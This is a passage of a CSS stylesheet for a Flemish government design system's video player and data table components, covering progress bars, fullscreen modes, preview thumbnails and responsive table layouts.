        z-index: 2
      }

      .vl-video-player .plyr__progress .plyr__tooltip {
        font-size: 13px;
        font-size: var(--plyr-font-size-time, var(--plyr-font-size-small, 13px));
        left: 0
      }

      .vl-video-player .plyr__progress__buffer {
        -webkit-appearance: none;
        background: transparent;
        border: 0;
        border-radius: 100px;
        height: 5px;
        height: var(--plyr-range-track-height, 5px);
        left: 0;
        margin-top: -2.5px;
        margin-top: calc(var(--plyr-range-track-height, 5px)/2*-1);
        padding: 0;
        position: absolute;
        top: 50%
      }

      .vl-video-player .plyr__progress__buffer::-webkit-progress-bar {
        background: transparent
      }

      .vl-video-player .plyr__progress__buffer::-webkit-progress-value {
        background: currentColor;
        border-radius: 100px;
        min-width: 5px;
        min-width: var(--plyr-range-track-height, 5px);
        -webkit-transition: width .2s ease;
        transition: width .2s ease
      }

      .vl-video-player .plyr__progress__buffer::-moz-progress-bar {
        background: currentColor;
        border-radius: 100px;
        min-width: 5px;
        min-width: var(--plyr-range-track-height, 5px);
        -moz-transition: width .2s ease;
        transition: width .2s ease
      }

      .vl-video-player .plyr__progress__buffer::-ms-fill {
        border-radius: 100px;
        -ms-transition: width .2s ease;
        transition: width .2s ease
      }

      .vl-video-player .plyr--loading .plyr__progress__buffer {
        animation: plyr-progress 1s linear infinite;
        background-image: linear-gradient(-45deg, rgba(35, 40, 47, .6) 25%, transparent 0, transparent 50%, rgba(35, 40, 47, .6) 0, rgba(35, 40, 47, .6) 75%, transparent 0, transparent);
        background-image: linear-gradient(-45deg, var(--plyr-progress-loading-background, rgba(35, 40, 47, .6)) 25%, transparent 25%, transparent 50%, var(--plyr-progress-loading-background, rgba(35, 40, 47, .6)) 50%, var(--plyr-progress-loading-background, rgba(35, 40, 47, .6)) 75%, transparent 75%, transparent);
        background-repeat: repeat-x;
        background-size: 25px 25px;
        background-size: var(--plyr-progress-loading-size, 25px) var(--plyr-progress-loading-size, 25px);
        color: transparent
      }

      .vl-video-player .plyr--video.plyr--loading .plyr__progress__buffer {
        background-color: hsla(0, 0%, 100%, .25);
        background-color: var(--plyr-video-progress-buffered-background, hsla(0, 0%, 100%, .25))
      }

      .vl-video-player .plyr--audio.plyr--loading .plyr__progress__buffer {
        background-color: rgba(193, 200, 209, .6);
        background-color: var(--plyr-audio-progress-buffered-background, rgba(193, 200, 209, .6))
      }

      .vl-video-player .plyr__volume {
        align-items: center;
        display: flex;
        max-width: 110px;
        min-width: 80px;
        position: relative;
        width: 20%
      }

      .vl-video-player .plyr__volume input[type=range] {
        margin-left: 7.5px;
        margin-right: 7.5px;
        position: relative;
        z-index: 2
      }

      .vl-video-player .plyr--is-ios .plyr__volume {
        min-width: 0;
        width: auto
      }

      .vl-video-player .plyr--audio {
        display: block
      }

      .vl-video-player .plyr--audio .plyr__controls {
        background: #fff;
        background: var(--plyr-audio-controls-background, #fff);
        border-radius: inherit;
        color: #4a5464;
        color: var(--plyr-audio-control-color, #4a5464);
        padding: 15px
      }

      .vl-video-player .plyr--audio .plyr__control.plyr__tab-focus,
      .vl-video-player .plyr--audio .plyr__control:hover,
      .vl-video-player .plyr--audio .plyr__control[aria-expanded=true] {
        background: #05c;
        background: var(--plyr-audio-control-background-hover, var(--plyr-color-main, #05c));
        color: #fff;
        color: var(--plyr-audio-control-color-hover, #fff)
      }

      .vl-video-player .plyr--full-ui.plyr--audio input[type=range]::-webkit-slider-runnable-track {
        background-color: rgba(193, 200, 209, .6);
        background-color: var(--plyr-audio-range-track-background, var(--plyr-audio-progress-buffered-background, rgba(193, 200, 209, .6)))
      }

      .vl-video-player .plyr--full-ui.plyr--audio input[type=range]::-moz-range-track {
        background-color: rgba(193, 200, 209, .6);
        background-color: var(--plyr-audio-range-track-background, var(--plyr-audio-progress-buffered-background, rgba(193, 200, 209, .6)))
      }

      .vl-video-player .plyr--full-ui.plyr--audio input[type=range]::-ms-track {
        background-color: rgba(193, 200, 209, .6);
        background-color: var(--plyr-audio-range-track-background, var(--plyr-audio-progress-buffered-background, rgba(193, 200, 209, .6)))
      }

      .vl-video-player .plyr--full-ui.plyr--audio input[type=range]:active::-webkit-slider-thumb {
        box-shadow: 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2), 0 0 0 3px rgba(35, 40, 47, .1);
        box-shadow: var(--plyr-range-thumb-shadow, 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2)), 0 0 0 var(--plyr-range-thumb-active-shadow-width, 3px) var(--plyr-audio-range-thumb-active-shadow-color, rgba(35, 40, 47, .1))
      }

      .vl-video-player .plyr--full-ui.plyr--audio input[type=range]:active::-moz-range-thumb {
        box-shadow: 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2), 0 0 0 3px rgba(35, 40, 47, .1);
        box-shadow: var(--plyr-range-thumb-shadow, 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2)), 0 0 0 var(--plyr-range-thumb-active-shadow-width, 3px) var(--plyr-audio-range-thumb-active-shadow-color, rgba(35, 40, 47, .1))
      }

      .vl-video-player .plyr--full-ui.plyr--audio input[type=range]:active::-ms-thumb {
        box-shadow: 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2), 0 0 0 3px rgba(35, 40, 47, .1);
        box-shadow: var(--plyr-range-thumb-shadow, 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2)), 0 0 0 var(--plyr-range-thumb-active-shadow-width, 3px) var(--plyr-audio-range-thumb-active-shadow-color, rgba(35, 40, 47, .1))
      }

      .vl-video-player .plyr--audio .plyr__progress__buffer {
        color: rgba(193, 200, 209, .6);
        color: var(--plyr-audio-progress-buffered-background, rgba(193, 200, 209, .6))
      }

      .vl-video-player .plyr--video {
        background: #000;
        background: var(--plyr-video-background, var(--plyr-video-background, #000));
        overflow: hidden
      }

      .vl-video-player .plyr--video.plyr--menu-open {
        overflow: visible
      }

      .vl-video-player .plyr__video-wrapper {
        background: #000;
        background: var(--plyr-video-background, var(--plyr-video-background, #000));
        height: 100%;
        margin: auto;
        overflow: hidden;
        position: relative;
        width: 100%
      }

      .vl-video-player .plyr__video-embed,
      .vl-video-player .plyr__video-wrapper--fixed-ratio {
        aspect-ratio: 16/9
      }

      @supports not (aspect-ratio:16/9) {

        .vl-video-player .plyr__video-embed,
        .vl-video-player .plyr__video-wrapper--fixed-ratio {
          height: 0;
          padding-bottom: 56.25%;
          position: relative
        }
      }

      .vl-video-player .plyr__video-embed iframe,
      .vl-video-player .plyr__video-wrapper--fixed-ratio video {
        border: 0;
        height: 100%;
        left: 0;
        position: absolute;
        top: 0;
        width: 100%
      }

      .vl-video-player .plyr--full-ui .plyr__video-embed>.plyr__video-embed__container {
        padding-bottom: 240%;
        position: relative;
        transform: translateY(-38.28125%)
      }

      .vl-video-player .plyr--video .plyr__controls {
        background: linear-gradient(transparent, rgba(0, 0, 0, .75));
        background: var(--plyr-video-controls-background, linear-gradient(transparent, rgba(0, 0, 0, .75)));
        border-bottom-left-radius: inherit;
        border-bottom-right-radius: inherit;
        bottom: 0;
        color: #fff;
        color: var(--plyr-video-control-color, #fff);
        left: 0;
        padding: 30px 7.5px 7.5px;
        position: absolute;
        right: 0;
        transition: opacity .4s ease-in-out, transform .4s ease-in-out;
        z-index: 3
      }

      @media(min-width:480px) {
        .vl-video-player .plyr--video .plyr__controls {
          padding: 52.5px 15px 15px
        }
      }

      .vl-video-player .plyr--video.plyr--hide-controls .plyr__controls {
        opacity: 0;
        pointer-events: none;
        transform: translateY(100%)
      }

      .vl-video-player .plyr--video .plyr__control.plyr__tab-focus,
      .vl-video-player .plyr--video .plyr__control:hover,
      .vl-video-player .plyr--video .plyr__control[aria-expanded=true] {
        background: #05c;
        background: var(--plyr-video-control-background-hover, var(--plyr-color-main, #05c));
        color: #fff;
        color: var(--plyr-video-control-color-hover, #fff)
      }

      .vl-video-player .plyr__control--overlaid {
        background: #05c;
        background: var(--plyr-video-control-background-hover, var(--plyr-color-main, #05c));
        border: 0;
        border-radius: 100%;
        color: #fff;
        color: var(--plyr-video-control-color, #fff);
        display: none;
        left: 50%;
        opacity: .9;
        padding: 22.5px;
        position: absolute;
        top: 50%;
        transform: translate(-50%, -50%);
        transition: .3s;
        z-index: 2
      }

      .vl-video-player .plyr__control--overlaid svg {
        left: 2px;
        position: relative
      }

      .vl-video-player .plyr__control--overlaid:focus,
      .vl-video-player .plyr__control--overlaid:hover {
        opacity: 1
      }

      .vl-video-player .plyr--playing .plyr__control--overlaid {
        opacity: 0;
        visibility: hidden
      }

      .vl-video-player .plyr--full-ui.plyr--video .plyr__control--overlaid {
        display: block
      }

      .vl-video-player .plyr--full-ui.plyr--video input[type=range]::-webkit-slider-runnable-track {
        background-color: hsla(0, 0%, 100%, .25);
        background-color: var(--plyr-video-range-track-background, var(--plyr-video-progress-buffered-background, hsla(0, 0%, 100%, .25)))
      }

      .vl-video-player .plyr--full-ui.plyr--video input[type=range]::-moz-range-track {
        background-color: hsla(0, 0%, 100%, .25);
        background-color: var(--plyr-video-range-track-background, var(--plyr-video-progress-buffered-background, hsla(0, 0%, 100%, .25)))
      }

      .vl-video-player .plyr--full-ui.plyr--video input[type=range]::-ms-track {
        background-color: hsla(0, 0%, 100%, .25);
        background-color: var(--plyr-video-range-track-background, var(--plyr-video-progress-buffered-background, hsla(0, 0%, 100%, .25)))
      }

      .vl-video-player .plyr--full-ui.plyr--video input[type=range]:active::-webkit-slider-thumb {
        box-shadow: 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2), 0 0 0 3px hsla(0, 0%, 100%, .5);
        box-shadow: var(--plyr-range-thumb-shadow, 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2)), 0 0 0 var(--plyr-range-thumb-active-shadow-width, 3px) var(--plyr-audio-range-thumb-active-shadow-color, hsla(0, 0%, 100%, .5))
      }

      .vl-video-player .plyr--full-ui.plyr--video input[type=range]:active::-moz-range-thumb {
        box-shadow: 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2), 0 0 0 3px hsla(0, 0%, 100%, .5);
        box-shadow: var(--plyr-range-thumb-shadow, 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2)), 0 0 0 var(--plyr-range-thumb-active-shadow-width, 3px) var(--plyr-audio-range-thumb-active-shadow-color, hsla(0, 0%, 100%, .5))
      }

      .vl-video-player .plyr--full-ui.plyr--video input[type=range]:active::-ms-thumb {
        box-shadow: 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2), 0 0 0 3px hsla(0, 0%, 100%, .5);
        box-shadow: var(--plyr-range-thumb-shadow, 0 1px 1px rgba(35, 40, 47, .15), 0 0 0 1px rgba(35, 40, 47, .2)), 0 0 0 var(--plyr-range-thumb-active-shadow-width, 3px) var(--plyr-audio-range-thumb-active-shadow-color, hsla(0, 0%, 100%, .5))
      }

      .vl-video-player .plyr--video .plyr__progress__buffer {
        color: hsla(0, 0%, 100%, .25);
        color: var(--plyr-video-progress-buffered-background, hsla(0, 0%, 100%, .25))
      }

      .vl-video-player .plyr:fullscreen {
        background: #000;
        border-radius: 0 !important;
        height: 100%;
        margin: 0;
        width: 100%
      }

      .vl-video-player .plyr:fullscreen video {
        height: 100%
      }

      .vl-video-player .plyr:fullscreen .plyr__control .icon--exit-fullscreen {
        display: block
      }

      .vl-video-player .plyr:fullscreen .plyr__control .icon--exit-fullscreen+svg {
        display: none
      }

      .vl-video-player .plyr:fullscreen.plyr--hide-controls {
        cursor: none
      }

      @media(min-width:1024px) {
        .vl-video-player .plyr:fullscreen .plyr__captions {
          font-size: 21px;
          font-size: var(--plyr-font-size-xlarge, 21px)
        }
      }

      .vl-video-player .plyr:-webkit-full-screen {
        background: #000;
        border-radius: 0 !important;
        height: 100%;
        margin: 0;
        width: 100%
      }

      .vl-video-player .plyr:-webkit-full-screen video {
        height: 100%
      }

      .vl-video-player .plyr:-webkit-full-screen .plyr__control .icon--exit-fullscreen {
        display: block
      }

      .vl-video-player .plyr:-webkit-full-screen .plyr__control .icon--exit-fullscreen+svg {
        display: none
      }

      .vl-video-player .plyr:-webkit-full-screen.plyr--hide-controls {
        cursor: none
      }

      @media(min-width:1024px) {
        .vl-video-player .plyr:-webkit-full-screen .plyr__captions {
          font-size: 21px;
          font-size: var(--plyr-font-size-xlarge, 21px)
        }
      }

      .vl-video-player .plyr:-moz-full-screen {
        background: #000;
        border-radius: 0 !important;
        height: 100%;
        margin: 0;
        width: 100%
      }

      .vl-video-player .plyr:-moz-full-screen video {
        height: 100%
      }

      .vl-video-player .plyr:-moz-full-screen .plyr__control .icon--exit-fullscreen {
        display: block
      }

      .vl-video-player .plyr:-moz-full-screen .plyr__control .icon--exit-fullscreen+svg {
        display: none
      }

      .vl-video-player .plyr:-moz-full-screen.plyr--hide-controls {
        cursor: none
      }

      @media(min-width:1024px) {
        .vl-video-player .plyr:-moz-full-screen .plyr__captions {
          font-size: 21px;
          font-size: var(--plyr-font-size-xlarge, 21px)
        }
      }

      .vl-video-player .plyr:-ms-fullscreen {
        background: #000;
        border-radius: 0 !important;
        height: 100%;
        margin: 0;
        width: 100%
      }

      .vl-video-player .plyr:-ms-fullscreen video {
        height: 100%
      }

      .vl-video-player .plyr:-ms-fullscreen .plyr__control .icon--exit-fullscreen {
        display: block
      }

      .vl-video-player .plyr:-ms-fullscreen .plyr__control .icon--exit-fullscreen+svg {
        display: none
      }

      .vl-video-player .plyr:-ms-fullscreen.plyr--hide-controls {
        cursor: none
      }

      @media(min-width:1024px) {
        .vl-video-player .plyr:-ms-fullscreen .plyr__captions {
          font-size: 21px;
          font-size: var(--plyr-font-size-xlarge, 21px)
        }
      }

      .vl-video-player .plyr--fullscreen-fallback {
        background: #000;
        border-radius: 0 !important;
        bottom: 0;
        display: block;
        height: 100%;
        left: 0;
        margin: 0;
        position: fixed;
        right: 0;
        top: 0;
        width: 100%;
        z-index: 10000000
      }

      .vl-video-player .plyr--fullscreen-fallback video {
        height: 100%
      }

      .vl-video-player .plyr--fullscreen-fallback .plyr__control .icon--exit-fullscreen {
        display: block
      }

      .vl-video-player .plyr--fullscreen-fallback .plyr__control .icon--exit-fullscreen+svg {
        display: none
      }

      .vl-video-player .plyr--fullscreen-fallback.plyr--hide-controls {
        cursor: none
      }

      @media(min-width:1024px) {
        .vl-video-player .plyr--fullscreen-fallback .plyr__captions {
          font-size: 21px;
          font-size: var(--plyr-font-size-xlarge, 21px)
        }
      }

      .vl-video-player .plyr__ads {
        border-radius: inherit;
        bottom: 0;
        cursor: pointer;
        left: 0;
        overflow: hidden;
        position: absolute;
        right: 0;
        top: 0;
        z-index: -1
      }

      .vl-video-player .plyr__ads>div,
      .vl-video-player .plyr__ads>div iframe {
        height: 100%;
        position: absolute;
        width: 100%
      }

      .vl-video-player .plyr__ads:after {
        background: #23282f;
        border-radius: 2px;
        bottom: 15px;
        color: #fff;
        content: attr(data-badge-text);
        font-size: 11px;
        padding: 2px 6px;
        pointer-events: none;
        position: absolute;
        right: 15px;
        z-index: 3
      }

      .vl-video-player .plyr__ads:empty:after {
        display: none
      }

      .vl-video-player .plyr__cues {
        background: currentColor;
        display: block;
        height: 5px;
        height: var(--plyr-range-track-height, 5px);
        left: 0;
        margin: -var(--plyr-range-track-height, 5px)/2 0 0;
        opacity: .8;
        position: absolute;
        top: 50%;
        width: 3px;
        z-index: 3
      }

      .vl-video-player .plyr__preview-thumb {
        background-color: hsla(0, 0%, 100%, .9);
        background-color: var(--plyr-tooltip-background, hsla(0, 0%, 100%, .9));
        border-radius: 3px;
        bottom: 100%;
        box-shadow: 0 1px 2px rgba(0, 0, 0, .15);
        box-shadow: var(--plyr-tooltip-shadow, 0 1px 2px rgba(0, 0, 0, .15));
        margin-bottom: 15px;
        opacity: 0;
        padding: 0;
        pointer-events: none;
        position: absolute;
        transform: translateY(10px) scale(.8);
        transform-origin: 50% 100%;
        transition: transform .2s ease .1s, opacity .2s ease .1s;
        z-index: 2
      }

      .vl-video-player .plyr__preview-thumb--is-shown {
        opacity: 1;
        transform: translate(0) scale(1)
      }

      .vl-video-player .plyr__preview-thumb:before {
        border-left: 6px solid transparent;
        border-right: 6px solid transparent;
        border-top: 6px solid hsla(0, 0%, 100%, .9);
        border-top: 6px solid var(--plyr-tooltip-background, hsla(0, 0%, 100%, .9));
        bottom: -6px;
        content: "";
        height: 0;
        left: 50%;
        position: absolute;
        transform: translateX(-50%);
        width: 0;
        z-index: 2
      }

      .vl-video-player .plyr__preview-thumb__image-container {
        background: #c1c8d1;
        border-radius: -1px;
        overflow: hidden;
        position: relative;
        z-index: 0
      }

      .vl-video-player .plyr__preview-thumb__image-container img {
        height: 100%;
        left: 0;
        max-height: none;
        max-width: none;
        position: absolute;
        top: 0;
        width: 100%
      }

      .vl-video-player .plyr__preview-thumb__time-container {
        bottom: 6px;
        left: 0;
        position: absolute;
        right: 0;
        white-space: nowrap;
        z-index: 3
      }

      .vl-video-player .plyr__preview-thumb__time-container span {
        background-color: rgba(0, 0, 0, .55);
        border-radius: -1px;
        color: #fff;
        font-size: 13px;
        font-size: var(--plyr-font-size-time, var(--plyr-font-size-small, 13px));
        padding: 3px 6px
      }

      .vl-video-player .plyr__preview-scrubbing {
        bottom: 0;
        filter: blur(1px);
        height: 100%;
        left: 0;
        margin: auto;
        opacity: 0;
        overflow: hidden;
        pointer-events: none;
        position: absolute;
        right: 0;
        top: 0;
        transition: opacity .3s ease;
        width: 100%;
        z-index: 1
      }

      .vl-video-player .plyr__preview-scrubbing--is-shown {
        opacity: 1
      }

      .vl-video-player .plyr__preview-scrubbing img {
        height: 100%;
        left: 0;
        max-height: none;
        max-width: none;
        -o-object-fit: contain;
        object-fit: contain;
        position: absolute;
        top: 0;
        width: 100%
      }

      .vl-video-player .plyr--no-transition {
        transition: none !important
      }

      .vl-video-player .plyr__sr-only {
        clip: rect(1px, 1px, 1px, 1px);
        border: 0 !important;
        height: 1px !important;
        overflow: hidden;
        padding: 0 !important;
        position: absolute !important;
        width: 1px !important
      }

      .vl-video-player .plyr [hidden] {
        display: none !important
      }

      .vl-video-player .plyr__control {
        border-radius: .3rem
      }

      .vl-video-player .plyr>.plyr__control {
        padding: 15px 2rem
      }

      .vl-data-table {
        max-width: 100%;
        width: 100%
      }

      .vl-data-table caption {
        font-size: 1.8rem;
        font-weight: 500;
        margin: 15px 0 5px;
        text-align: left
      }

      .vl-data-table thead tr {
        border-bottom: .2rem solid #cbd2da;
        border-top: .1rem solid #cbd2da
      }

      .vl-data-table tfoot tr {
        border-top: .2rem solid #cbd2da
      }

      .vl-data-table tfoot td {
        font-weight: 500
      }

      .vl-data-table tfoot td:first-child {
        padding-left: 0
      }

      .vl-data-table tfoot td:last-child {
        padding-right: 0
      }

      .vl-data-table tbody td.vl-data-table__element--error,
      .vl-data-table tbody tr.vl-data-table__element--error {
        background: #fbebec;
        border-bottom: .1rem solid #d2373c
      }

      .vl-data-table tbody td.vl-data-table__element--warning,
      .vl-data-table tbody tr.vl-data-table__element--warning {
        background: #fff6e7;
        border-bottom: .1rem solid #ffa10a
      }

      .vl-data-table tbody td.vl-data-table__element--success,
      .vl-data-table tbody tr.vl-data-table__element--success {
        background: #e6f5ed;
        border-bottom: .1rem solid #009e47
      }

      .vl-data-table tbody tr {
        border-bottom: .1rem solid #cbd2da
      }

      .vl-data-table tbody tr[data-vl-table-selectable] {
        cursor: pointer;
        transition: background .2s ease-in-out
      }

      .vl-data-table tbody tr[data-vl-table-selectable]:hover {
        background: #f3f5f6
      }

      .vl-data-table tbody tr.vl-data-table__grouped-row:not(.vl-data-table__grouped-row--last) {
        border-bottom: 0
      }

      .vl-data-table tbody tr th {
        border-left: .2rem solid #cbd2da;
        border-right: .2rem solid #cbd2da
      }

      .vl-data-table tbody tr th:first-child {
        border-left: none
      }

      .vl-data-table tbody tr th:last-child {
        border-right: none
      }

      .vl-data-table td,
      .vl-data-table th {
        font-size: 1.6rem;
        line-height: 1.3;
        padding: 1.2rem 1rem;
        text-align: left;
        vertical-align: top
      }

      @media screen and (max-width:767px) {

        .vl-data-table td,
        .vl-data-table th {
          font-size: 1.4rem;
          padding: 1rem
        }
      }

      .vl-data-table td.vl-data-table__icon-container,
      .vl-data-table th.vl-data-table__icon-container {
        background-color: #f3f5f6;
        color: #333332
      }

      .vl-data-table td.vl-data-table__icon-container .vl-vi,
      .vl-data-table th.vl-data-table__icon-container .vl-vi {
        color: #687483;
        font-size: 3rem
      }

      .vl-vi .vl-data-table td.vl-data-table__icon-container,
      .vl-vi .vl-data-table th.vl-data-table__icon-container {
        text-align: center
      }

      .vl-data-table th {
        font-weight: 500;
        white-space: nowrap
      }

      .vl-data-table th>* {
        white-space: normal
      }

      .vl-data-table .vl-data-table__grouped-row td {
        padding: .3rem 1rem .3rem 0
      }

      @media screen and (max-width:767px) {
        .vl-data-table .vl-data-table__grouped-row td {
          padding: .3rem 1rem .3rem 0
        }
      }

      .vl-data-table .vl-data-table__grouped-row--first td {
        padding-top: 1.2rem
      }

      @media screen and (max-width:767px) {
        .vl-data-table .vl-data-table__grouped-row--first td {
          padding-top: 1rem
        }
      }

      .vl-data-table .vl-data-table__grouped-row--last td {
        padding-bottom: 1.2rem
      }

      @media screen and (max-width:767px) {
        .vl-data-table .vl-data-table__grouped-row--last td {
          padding-bottom: 1rem
        }
      }

      .vl-data-table__header-title--sortable {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-data-table__header-title--sortable .vl-data-table__header-title__sort-icon {
        opacity: 0
      }

      .vl-data-table__header-title--sortable:focus,
      .vl-data-table__header-title--sortable:hover {
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .vl-data-table__header-title--sortable:focus .vl-data-table__header-title__sort-icon,
      .vl-data-table__header-title--sortable:hover .vl-data-table__header-title__sort-icon {
        opacity: .5
      }

      .vl-data-table__header-title--sortable-active .vl-data-table__header-title__sort-icon {
        opacity: 1
      }

      .vl-data-table__body-title {
        max-width: 30rem
      }

      .vl-data-table--alt tr td,
      .vl-data-table--alt tr th {
        border-left: .2rem solid #cbd2da;
        border-right: .2rem solid #cbd2da
      }

      .vl-data-table--alt tr td:first-child,
      .vl-data-table--alt tr th:first-child {
        border-left: none
      }

      .vl-data-table--alt tr td:last-child,
      .vl-data-table--alt tr th:last-child {
        border-right: none
      }

      .vl-data-table--alt tr th:not(:first-child) {
        padding: 0 1.2rem 1.2rem
      }

      .vl-data-table--alt tr td:not(:first-child) {
        padding: 1.2rem
      }

      .vl-data-table--double-spacing tr td,
      .vl-data-table--double-spacing tr th {
        padding: 1.2rem 3rem
      }

      .vl-data-table--no-header tbody tr:first-child {
        border-top: 3px solid #cbd2da
      }

      .vl-data-table .vl-pill {
        vertical-align: middle
      }

      @media screen and (max-width:767px) {
        .vl-data-table .vl-pill {
          font-size: 1.4rem;
          height: 2rem;
          line-height: 2rem;
          padding: 0 .5rem
        }
      }

      .vl-u-table-overflow {
        overflow-x: auto;
        width: 100%
      }

      .vl-u-table-overflow .vl-data-table {
        overflow: auto
      }

      .no-js [data-vl-table-check-all]+span {
        display: none !important
      }

      .vl-data-table--hover tbody tr {
        transition: background .2s ease-in-out
      }

      .vl-data-table--hover tbody tr:hover {
        background: #f3f5f6
      }

      .vl-data-table--matrix tr th {
        border-left: .2rem solid #cbd2da;
        border-right: .2rem solid #cbd2da
      }

      .vl-data-table--matrix tr th:first-child {
        border-left: none
      }

      .vl-data-table--matrix tr th:last-child {
        border-right: none
      }

      .vl-data-table--grid td,
      .vl-data-table--grid th {
        border-left: .1rem solid #cbd2da;
        border-right: .1rem solid #cbd2da;
        padding: 1.2rem
      }

      .vl-data-table--grid td:first-child,
      .vl-data-table--grid th:first-child {
        border-left: none
      }

      .vl-data-table--grid td:last-child,
      .vl-data-table--grid th:last-child {
        border-right: none
      }

      .vl-data-table--grid th[scope=row] {
        border-width: .2rem
      }

      .vl-data-table--zebra tbody tr:not(.vl-data-table__element--warning):not(.vl-data-table__element--error):not(.vl-data-table__element--success):nth-child(odd) {
        background-color: #f3f5f6
      }

      .vl-data-table--zebra tbody tr:not(.vl-data-table__element--warning):not(.vl-data-table__element--error):not(.vl-data-table__element--success):nth-child(odd):hover {
        background-color: #edf0f2
      }

      .vl-data-table__actions--top {
        margin: 0 0 2rem
      }

      .vl-data-table__actions--bottom {
        margin: 2rem 0 0
      }

      @media screen and (max-width:500px) {
        .vl-data-table__actions--bottom .vl-data-table__actions__list {
          margin: 0 0 1rem
        }
      }

      .vl-data-table__actions__list .vl-data-table__action:not(:last-child) {
        margin-right: .6rem
      }

      .vl-data-table__action {
        display: inline-block;
        margin-bottom: .6rem;
        vertical-align: middle
      }

      .vl-data-table__action__toggle {
        align-items: center;
        background: none;
        border: .1rem solid #cbd2da;
        color: #333332;
        cursor: pointer;
        display: flex;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.6rem;
        font-weight: 400;
        line-height: 1;
        padding: .9rem 1.5rem .8rem;
        text-align: left;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      @media screen and (max-width:767px) {
        .vl-data-table__action__toggle {
          font-size: 1.5rem
        }
      }

      [data-vl-disable=true] .vl-data-table__action__toggle {
        color: #687483;
        cursor: default
      }

      .vl-data-table__action__toggle__icon {
        font-size: 1.2rem
      }

      .vl-data-table__action__toggle__icon:first-child {
        margin-right: .5rem
      }

      .vl-data-table__action__toggle__icon:last-child {
        margin-left: .5rem
      }

      @media screen and (max-width:500px) {
        .vl-data-table__action__toggle--contract-xs span {
          display: none
        }

        .vl-data-table__action__toggle--contract-xs .vl-vi:before {
          margin: 0
        }

        .vl-data-table--collapsed-xs {
          position: relative
        }

        .vl-data-table--collapsed-xs table,
        .vl-data-table--collapsed-xs tbody,
        .vl-data-table--collapsed-xs td,
        .vl-data-table--collapsed-xs th,
        .vl-data-table--collapsed-xs thead,
        .vl-data-table--collapsed-xs tr {
          display: block
        }

        .vl-data-table--collapsed-xs thead tr {
          left: -9999px;
          position: absolute;
          top: -9999px
        }

        .vl-data-table--collapsed-xs td {
          border-bottom: 1px solid #cbd2da;
          display: flex;
          flex-grow: 2;
          gap: 10px;
          text-align: left
        }

        .vl-data-table--collapsed-xs td:before,
        .vl-data-table--collapsed-xs th:before {
          content: attr(data-title);
          flex-shrink: 0;
          font-weight: 500;
          overflow: hidden;
          position: relative;
          text-align: left;
          width: 35%
        }

        .vl-data-table--collapsed-xs.vl-data-table--collapsed-s td,
        .vl-data-table--collapsed-xs.vl-data-table--collapsed-s th,
        .vl-data-table--collapsed-xs.vl-data-table--collapsed-xs td,
        .vl-data-table--collapsed-xs.vl-data-table--collapsed-xs th {
          padding: 1rem
        }

        .vl-data-table--collapsed-xs.vl-data-table--collapsed-m td,
        .vl-data-table--collapsed-xs.vl-data-table--collapsed-m th {
          padding: 1.2rem
        }

        .vl-data-table--collapsed-xs.vl-data-table--collapsed-truncate td:before,
        .vl-data-table--collapsed-xs.vl-data-table--collapsed-truncate th:before {
          text-overflow: ellipsis;
          white-space: nowrap
        }
      }

      @media screen and (max-width:767px) {
        .vl-data-table--collapsed-s {
          position: relative
        }

        .vl-data-table--collapsed-s table,
        .vl-data-table--collapsed-s tbody,
        .vl-data-table--collapsed-s td,
        .vl-data-table--collapsed-s th,
        .vl-data-table--collapsed-s thead,
        .vl-data-table--collapsed-s tr {
          display: block
        }

        .vl-data-table--collapsed-s thead tr {
          left: -9999px;
          position: absolute;
          top: -9999px
        }

        .vl-data-table--collapsed-s td {
          border-bottom: 1px solid #cbd2da;
          display: flex;
          flex-grow: 2;
          gap: 10px;
          text-align: left
        }

        .vl-data-table--collapsed-s td:before,
        .vl-data-table--collapsed-s th:before {
          content: attr(data-title);
          flex-shrink: 0;
          font-weight: 500;
          overflow: hidden;
          position: relative;
          text-align: left;
          width: 35%
        }

        .vl-data-table--collapsed-s.vl-data-table--collapsed-s td,
        .vl-data-table--collapsed-s.vl-data-table--collapsed-s th,
        .vl-data-table--collapsed-s.vl-data-table--collapsed-xs td,
        .vl-data-table--collapsed-s.vl-data-table--collapsed-xs th {
          padding: 1rem
        }

        .vl-data-table--collapsed-s.vl-data-table--collapsed-m td,
        .vl-data-table--collapsed-s.vl-data-table--collapsed-m th {
          padding: 1.2rem
        }

        .vl-data-table--collapsed-s.vl-data-table--collapsed-truncate td:before,
        .vl-data-table--collapsed-s.vl-data-table--collapsed-truncate th:before {
          text-overflow: ellipsis;
          white-space: nowrap
        }
      }

      @media screen and (max-width:1023px) {
        .vl-data-table--collapsed-m {
          position: relative
        }

        .vl-data-table--collapsed-m table,
        .vl-data-table--collapsed-m tbody,
        .vl-data-table--collapsed-m td,
        .vl-data-table--collapsed-m th,
        .vl-data-table--collapsed-m thead,
        .vl-data-table--collapsed-m tr {
          display: block
        }

        .vl-data-table--collapsed-m thead tr {
          left: -9999px;
          position: absolute;
          top: -9999px
        }

        .vl-data-table--collapsed-m td {
          border-bottom: 1px solid #cbd2da;
          display: flex;
          flex-grow: 2;
          gap: 10px;
          text-align: left
        }

        .vl-data-table--collapsed-m td:before,
        .vl-data-table--collapsed-m th:before {
          content: attr(data-title);
          flex-shrink: 0;
          font-weight: 500;
          overflow: hidden;
          position: relative;
          text-align: left;
          width: 35%
        }

        .vl-data-table--collapsed-m.vl-data-table--collapsed-s td,
        .vl-data-table--collapsed-m.vl-data-table--collapsed-s th,
        .vl-data-table--collapsed-m.vl-data-table--collapsed-xs td,
